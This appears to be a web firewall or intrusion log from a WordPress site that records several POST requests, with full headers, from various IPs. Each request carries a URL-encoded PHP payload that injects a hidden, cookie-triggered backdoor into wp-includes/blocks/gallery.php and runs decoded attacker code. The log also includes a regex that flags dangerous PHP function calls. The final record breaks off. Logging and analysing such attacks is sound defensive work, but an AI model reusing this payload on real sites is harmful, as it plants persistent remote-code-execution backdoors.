0=71\n\niY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/gallery.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B25-25%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2%252B1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-74%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524dchunk%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524elem%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252785695c9e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524elem%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524elem%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520fopen%2528%2524elem%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524mrk%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524mrk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524elem%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524elem%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524item%2520%253D%2520%2522b9968453859463ebd3e6430924807e65%2522%253B%2520if%2520%2528%2521strncmp%2528%2524item%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522service_registry_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:29","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/gallery.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B25-25%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2%252B1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-74%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524dchunk%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524elem%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252785695c9e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524elem%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524elem%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520fopen%2528%2524elem%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524mrk%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524mrk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524elem%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524elem%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524item%2520%253D%2520%2522b9968453859463ebd3e6430924807e65%2522%253B%2520if%2520%2528%2521strncmp%2528%2524item%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522service_registry_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4308\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDH8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nAO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/gallery.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B25-25%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2%252B1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-74%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524dchunk%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524elem%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252785695c9e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524elem%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524elem%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520fopen%2528%2524elem%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524mrk%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524mrk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524elem%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524elem%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524item%2520%253D%2520%2522b9968453859463ebd3e6430924807e65%2522%253B%2520if%2520%2528%2521strncmp%2528%2524item%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522service_registry_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:31","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Mg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/gallery.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B25-25%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2%252B1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-74%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524dchunk%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524elem%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252785695c9e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524elem%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524elem%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520fopen%2528%2524elem%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524mrk%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524mrk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524elem%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524elem%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524item%2520%253D%2520%2522b9968453859463ebd3e6430924807e65%2522%253B%2520if%2520%2528%2521strncmp%2528%2524item%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522service_registry_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4308\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGJpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nMg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/gallery.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B25-25%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2%252B1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-74%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524dchunk%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524elem%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252785695c9e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524elem%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524elem%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520fopen%2528%2524elem%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524mrk%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524mrk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524elem%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524elem%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524item%2520%253D%2520%2522b9968453859463ebd3e6430924807e65%2522%253B%2520if%2520%2528%2521strncmp%2528%2524item%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522service_registry_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:33","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/gallery.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B25-25%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2%252B1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-74%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524dchunk%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524elem%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252785695c9e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524elem%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524elem%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520fopen%2528%2524elem%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524mrk%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524mrk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524elem%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524elem%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524item%2520%253D%2520%2522b9968453859463ebd3e6430924807e65%2522%253B%2520if%2520%2528%2521strncmp%2528%2524item%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522service_registry_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\ncontent-length:4331\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/gallery.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B25-25%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2%252B1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-74%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524dchunk%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524elem%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252785695c9e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524elem%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524elem%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520fopen%2528%2524elem%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524mrk%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524mrk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524elem%2529%253B%2520%2540array_map%2528%2